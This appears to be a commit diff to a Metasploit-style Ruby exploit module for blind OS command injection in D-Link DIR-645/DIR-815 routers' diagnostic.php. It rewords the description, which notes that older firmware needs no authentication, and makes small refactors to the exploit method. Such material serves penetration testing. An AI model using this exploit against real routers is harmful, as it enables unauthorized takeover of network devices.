@@ -19,17 +19,18 @@ def initialize(info = {})
19
19
super ( update_info ( info ,
20
20
'Name' => 'DLink DIR-645 / DIR-815 diagnostic.php Command Execution' ,
21
21
'Description' => %q{
22
- Some DLink Routers are vulnerable to OS Command injection.
23
- On DIR-645 versions prior 1.03 you will NOT need credentials to the webinterface.
24
- On DIR-645 version 1.03 you will need to login before executing commands. Fixed
25
- with version 1.04.
26
- There are different other DLink products also affected from this vulnerability.
27
- DIR-300 rev B, DIR-600 are some examples of it. Not every device includes wget
28
- which we need for deploying our payload. On such devices you could use the
29
- cmd generic payload and try to start telnetd or execute other commands.
30
- Since it is a blind os command injection vulnerability, there is no output
31
- for the executed command when using the cmd generic payload. A ping command
32
- against a controlled system could be used for testing purposes.
22
+ Some DLink Routers are vulnerable to OS Command injection in the web interface.
23
+ On DIR-645 versions prior 1.03 authentication isn't needed to exploit it. On
24
+ version 1.03 authentication is needed in order to trigger the vulnerability, which
25
+ has been fixed definitely on version 1.04. Other DLink products, like DIR-300 rev B
26
+ and DIR-600, are also affected by this vulnerability. Not every device includes
27
+ wget which we need for deploying our payload. On such devices you could use the cmd
28
+ generic payload and try to start telnetd or execute other commands. Since it is a
29
+ blind os command injection vulnerability, there is no output for the executed
30
+ command when using the cmd generic payload. A ping command against a controlled
31
+ system could be used for testing purposes. This module has been tested successfully
32
+ on DIR-645 prior to 1.03, where authentication isn't needed in order to exploit the
33
+ vulnerability.
33
34
} ,
34
35
'Author' =>
35
36
[
@@ -66,7 +67,7 @@ def initialize(info = {})
66
67
}
67
68
] ,
68
69
] ,
69
- 'DefaultTarget' => 1 ,
70
+ 'DefaultTarget' => 1
70
71
) )
71
72
72
73
register_options (
@@ -97,8 +98,6 @@ def request(cmd,uri)
97
98
def exploit
98
99
downfile = datastore [ 'DOWNFILE' ] || rand_text_alpha ( 8 +rand ( 8 ) )
99
100
uri = '/diagnostic.php'
100
- rhost = datastore [ 'RHOST' ]
101
- rport = datastore [ 'RPORT' ]
102
101
103
102
if target . name =~ /CMD/
104
103
if not ( datastore [ 'CMD' ] )
@@ -108,9 +107,8 @@ def exploit
108
107
res = request ( cmd , uri )
109
108
if ( !res )
110
109
fail_with ( Exploit ::Failure ::Unknown , "#{ rhost } :#{ rport } - Unable to execute payload" )
111
- else
112
- print_status ( "#{ rhost } :#{ rport } - Blind Exploitation - unknown Exploitation state" )
113
110
end
111
+ print_status ( "#{ rhost } :#{ rport } - Blind Exploitation - unknown Exploitation state" )
114
112
return
115
113
end
116
114
0 commit comments